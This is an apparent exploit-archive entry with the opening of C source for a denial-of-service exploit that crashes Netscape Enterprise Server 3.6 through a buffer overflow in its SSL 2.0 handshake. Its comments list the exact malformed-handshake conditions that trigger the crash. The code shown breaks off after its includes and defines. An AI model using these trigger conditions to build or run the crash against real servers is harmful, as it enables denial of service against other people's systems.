Netscape Enterprise Server 3.6 has a buffer overflow in SSL leading to crashes when exploited.

Code
/*
source: https://www.securityfocus.com/bid/516/info

Netscape's Enterprise Server suffers from a buffer overflow error in the SSL handshaking code that causes it to crash when the buffer is overrun.

//
// This program crashes Netscape Enterprise Server when it is
// running in SSL mode, by exploiting a bug in the SSL handshake
// code. The server crashes if the client:
//
//  * starts with SSL 2.0 format
//  * uses long record header
//  * uses padding >= 8
//  * sends at least 11 bytes more data than it specifies in the
//    header
//  * sends at least about 4 kb data
//
// I haven't included any error handling in the code because it's
// so boring to write... ;o)
//

#include <winsock.h>
#include <string.h>
#include <stdio.h>

#define sockaddr_in struct sockaddr_in
#define sockaddr struct sockaddr

// Some combinations of these three constants will crash the server,
// others will not.
